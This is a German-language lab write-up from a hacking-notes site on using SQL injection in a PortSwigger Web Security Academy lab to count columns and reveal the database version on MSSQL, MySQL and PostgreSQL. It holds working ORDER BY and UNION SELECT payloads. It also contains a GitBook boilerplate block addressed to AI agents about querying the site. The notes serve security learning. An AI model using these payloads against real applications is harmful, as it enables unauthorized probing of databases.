> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# Erkennung der DBMS-Version (MySQL, MSSQL, PostgreSQL)

Notizen zur Erkennung der DBMS-Version (MySQL, MSSQL, PostgreSQL) für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SQL-Injection-Angriff, Abfrage des Datenbanktyps und der Version auf MySQL und Microsoft

* **Kontext / Schwachstelle:** `Kategorie` für SQL-Injection anfälliger Filter; die Anwendung verkettet den Benutzerwert in `WHERE` Klausel. Verwendung `ORDER BY` / `UNION` ermöglicht das Auflisten der Anzahl der Spalten und anschließend das Extrahieren eines Versionswerts.
* **Ziel:** zeigt die DBMS-Release-Zeichenkette an.
* **Schnelle Methodik:**

1. **Bestimmen Sie die Anzahl der Spalten**:/ Nutzlast:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* (erhöhe den Index, bis er einen Fehler verursacht, um die genaue Anzahl der Spalten zu ermitteln).

2. **UNION validieren** (wähle eine `UNION SELECT` mit derselben Anzahl an Spalten): / Minimalbeispiel mit 2 Spalten:

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **Version wiederherstellen** — verwende die an die Engine angepasste Funktion/Variable.

**Ziel-Nutzlasten:**

* **Microsoft SQL Server (MSSQL)** — Systemvariable: `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — Funktion: `version()` (oder Variable `@@version`)

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — Funktion: `version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> Passe die Anzahl der Spalten und die Reihenfolge der Spalten gemäß der verwundbaren Abfrage an (z. B. UNION SELECT NULL, version() bei unterschiedlichen Typen). Verwende bei Bedarf NULL für Spalten, deren Typ nicht übereinstimmen soll.

* **Interpretation:** Die Seite zeigt die von `@@version` / `version()` (z. B. `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `PostgreSQL 13.3 auf x86_64-...`), was das Fingerprinting des DBMS ermöglicht.
* **Auswirkung:** Informationspreisgabe, nützlich für gezielte versionenspezifische Exploits, erhöhtes Risiko nachfolgender Angriffe.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
